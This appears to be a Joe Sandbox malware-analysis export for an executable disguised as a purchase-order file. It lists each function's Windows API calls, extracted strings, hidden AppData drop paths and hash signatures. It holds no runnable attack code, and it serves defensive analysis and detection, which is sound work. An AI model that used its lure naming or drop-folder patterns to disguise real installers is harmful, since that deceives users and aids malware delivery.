Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction ID: 35b308b173d9b0532f6cde55f5bface33093279d7ce3c78a2cc6db588f634b90
Opcode Fuzzy Hash: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction Fuzzy Hash: 6CA002B1945620DBFE429BE08D9EF1B3B25E748781F01C040E315641BCCA754010DF39

Non-executed Functions

Function 004048A2 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004048BA
GetDlgItem.USER32(?,00000408), ref: 004048C5
GlobalAlloc.KERNEL32(00000040,00000001), ref: 0040490F
LoadBitmapA.USER32(0000006E), ref: 00404922
SetWindowLongA.USER32(?,000000FC,00404E99), ref: 0040493B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040494F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404961
SendMessageA.USER32(?,00001109,00000002), ref: 00404977
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404983
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404995
DeleteObject.GDI32(00000000), ref: 00404998
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004049C3
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004049CF
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A64
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A8F
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404AA3
GetWindowLongA.USER32(?,000000F0), ref: 00404AD2
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404AE0
ShowWindow.USER32(?,00000005), ref: 00404AF1
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BEE
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C53
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C68
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C8C
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404CAC
ImageList_Destroy.COMCTL32(?), ref: 00404CC1
GlobalFree.KERNEL32(?), ref: 00404CD1
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D4A
SendMessageA.USER32(?,00001102,?,?), ref: 00404DF3
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404E02
InvalidateRect.USER32(?,00000000,00000001), ref: 00404E22
ShowWindow.USER32(?,00000000), ref: 00404E70
GetDlgItem.USER32(?,000003FE), ref: 00404E7B
ShowWindow.USER32(00000000), ref: 00404E82

Strings

, xrefs: 00404E5A
M, xrefs: 00404A4B
N, xrefs: 00404B2C

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4be3ebb239eb5df190ca789ef438fd3f359f8d4e72245769c592d36fe31c7233
Instruction ID: 76d2e208bb82396193868b8099a6daa05122b73eb358a4a137ee08f8801950ae
Opcode Fuzzy Hash: 4be3ebb239eb5df190ca789ef438fd3f359f8d4e72245769c592d36fe31c7233
Instruction Fuzzy Hash: F1026CB0900209AFEB14DF94DD85AAE7BB9FB84314F10813AF610BA2E1D7789D51CF58

Function 0040432F Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040437E
SetWindowTextA.USER32(00000000,?), ref: 004043A8
SHBrowseForFolderA.SHELL32(?,0079D918,?), ref: 00404459
CoTaskMemFree.OLE32(00000000), ref: 00404464
lstrcmpiA.KERNEL32(Call,0079E540), ref: 00404496
lstrcatA.KERNEL32(?,Call), ref: 004044A2
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044B4

Part of subcall function 004054E6: GetDlgItemTextA.USER32(?,?,00000400,004044EB), ref: 004054F9

Part of subcall function 00405F77: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 00405FCF
Part of subcall function 00405F77: CharNextA.USER32(?,?,?,00000000), ref: 00405FDC
Part of subcall function 00405F77: CharNextA.USER32(?,"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 00405FE1
Part of subcall function 00405F77: CharPrevA.USER32(?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 00405FF1

GetDiskFreeSpaceA.KERNEL32(0079D510,?,?,0000040F,?,0079D510,0079D510,?,00000001,0079D510,?,?,000003FB,?), ref: 00404572
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040458D

Part of subcall function 004046E6: lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404601,000000DF,00000000,00000400,?), ref: 00404784
Part of subcall function 004046E6: wsprintfA.USER32 ref: 0040478C
Part of subcall function 004046E6: SetDlgItemTextA.USER32(?,0079E540), ref: 0040479F

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne, xrefs: 0040447F
Call, xrefs: 00404490, 00404495, 004044A0
A, xrefs: 00404452
@y, xrefs: 0040442C

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: @y$A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne$Call
API String ID: 2624150263-735047468
Opcode ID: dc4fe7cf9e1a75852f8a478e9657d204a566c4560be991004467591f2bc4fc9b
Instruction ID: dc70ebfb722856edf20ca9fe518129045a13840cef36c67e0ec65d3b8ea71268
Opcode Fuzzy Hash: dc4fe7cf9e1a75852f8a478e9657d204a566c4560be991004467591f2bc4fc9b
Instruction Fuzzy Hash: 69A182B1900208ABDB11EFA5DC45BAF77B8EF85314F10843BF601B62D1D77C9A418B69

Function 0040205E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407408,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020DD
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes, xrefs: 0040211D

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes
API String ID: 123533781-1484825760
Opcode ID: 9070b07f5c49c3eba4a055dbb4da1717ebb68c024122170813a0f181913405a8
Instruction ID: 14d4926e91d078e82bebccc5f6ab74bc99395aff19d04a9878b07c190defc42e
Opcode Fuzzy Hash: 9070b07f5c49c3eba4a055dbb4da1717ebb68c024122170813a0f181913405a8
Instruction Fuzzy Hash: 9D513871A00208BFDB10DFA4C988A9DBBB5FF48318F20856AF515EB2D1DB799941CB54

Function 00402688 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402697

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d3616940253a6c47e3692c4c08840169220b4dbfcc92f4ed15c26e48d9ac8dbb
Instruction ID: 693c9160ce4d260d62fecbf2f45a0834f3a8ccba4a644e55fc62545b2e120305
Opcode Fuzzy Hash: d3616940253a6c47e3692c4c08840169220b4dbfcc92f4ed15c26e48d9ac8dbb
Instruction Fuzzy Hash: F9F0A0335081509FE701E7B49949AEEB778EF61324F60457BF241B21C1D7B84A84AA3A

Function 0040403A Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040C5
GetDlgItem.USER32(00000000,000003E8), ref: 004040D9
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004040F7
GetSysColor.USER32(?), ref: 00404108
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404117
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404126
lstrlenA.KERNEL32(?), ref: 00404129
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404138
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 0040414D
GetDlgItem.USER32(?,0000040A), ref: 004041AF
SendMessageA.USER32(00000000), ref: 004041B2
GetDlgItem.USER32(?,000003E8), ref: 004041DD
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040421D
LoadCursorA.USER32(00000000,00007F02), ref: 0040422C
SetCursor.USER32(00000000), ref: 00404235
ShellExecuteA.SHELL32(0000070B,open,007A0EE0,00000000,00000000,00000001), ref: 00404248
LoadCursorA.USER32(00000000,00007F00), ref: 00404255
SetCursor.USER32(00000000), ref: 00404258
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404284
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404298

Strings

open, xrefs: 00404240
Call, xrefs: 00404208
N, xrefs: 004041CB

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: ffa70ba6b414771cfedee8d2664e4b0672246e5e1ae3d005f3366e5b10bf2318
Instruction ID: 325d301b2710361d9817967eb08788495a0e15e312a989604f50e6602a626d4c
Opcode Fuzzy Hash: ffa70ba6b414771cfedee8d2664e4b0672246e5e1ae3d005f3366e5b10bf2318
Instruction Fuzzy Hash: 9161C671A40209BFEB109F60DC45F6A7B69FB84744F10816AFB05BA2D1C7BCA951CF98

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Regangen Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Regangen Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Regangen Setup
API String ID: 941294808-439938914
Opcode ID: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction ID: 5377a76c68583d826c01589a66ce84b6d9bb3dc06a218cd9f98f6b2c798b1645
Opcode Fuzzy Hash: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction Fuzzy Hash: 74419C71804249AFCB058FA5CD459BFBFB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405A55 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(007A02D0,NUL,?,00000000,?,00000000,00405BE8,?,?), ref: 00405A64
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405BE8,?,?), ref: 00405A88
GetShortPathNameA.KERNEL32(?,007A02D0,00000400), ref: 00405A91

Part of subcall function 004058E4: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058F4
Part of subcall function 004058E4: lstrlenA.KERNEL32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405926

GetShortPathNameA.KERNEL32(007A06D0,007A06D0,00000400), ref: 00405AAE
wsprintfA.USER32 ref: 00405ACC
GetFileSize.KERNEL32(00000000,00000000,007A06D0,C0000000,00000004,007A06D0,?,?,?,?,?), ref: 00405B07
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B16
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B4E
SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,0079FED0,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BA4
GlobalFree.KERNEL32(00000000), ref: 00405BB5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405BBC

Part of subcall function 0040597F: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,80000000,00000003), ref: 00405983
Part of subcall function 0040597F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059A5

Strings

[Rename], xrefs: 00405B36, 00405B48
NUL, xrefs: 00405A5E
%s=%s, xrefs: 00405AC2

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 470faa373d492393558750a21a749fa660293524ffa589413fd4618ea5f3d9a4
Instruction ID: 28628270b370f13d709f2e98436788b9d19fd6dde28ce54c0a079e884eb7da61
Opcode Fuzzy Hash: 470faa373d492393558750a21a749fa660293524ffa589413fd4618ea5f3d9a4
Instruction Fuzzy Hash: 5A311371605B18ABD6206B215C89F6B3A6CDF45764F14013BFE01F22D2DA7CBC008EAD

Function 00405F77 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 00405FCF
CharNextA.USER32(?,?,?,00000000), ref: 00405FDC
CharNextA.USER32(?,"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 00405FE1
CharPrevA.USER32(?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 00405FF1

Strings

*?|<>/":, xrefs: 00405FBF
"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe", xrefs: 00405FB3
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F78

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2185277754
Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction ID: e323e08bdfda0f150b574f83967a69ba6361760ee6a09b3ffc5edc4c10c5e242
Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction Fuzzy Hash: 01118F91808B926EFB3216244C44B7BAF898B577A4F18007BE5C5722C2DA7C5C429B6E

Function 00403F58 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F75
GetSysColor.USER32(00000000), ref: 00403F91
SetTextColor.GDI32(?,00000000), ref: 00403F9D
SetBkMode.GDI32(?,?), ref: 00403FA9
GetSysColor.USER32(?), ref: 00403FBC
SetBkColor.GDI32(?,?), ref: 00403FCC
DeleteObject.GDI32(?), ref: 00403FE6
CreateBrushIndirect.GDI32(?), ref: 00403FF0

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
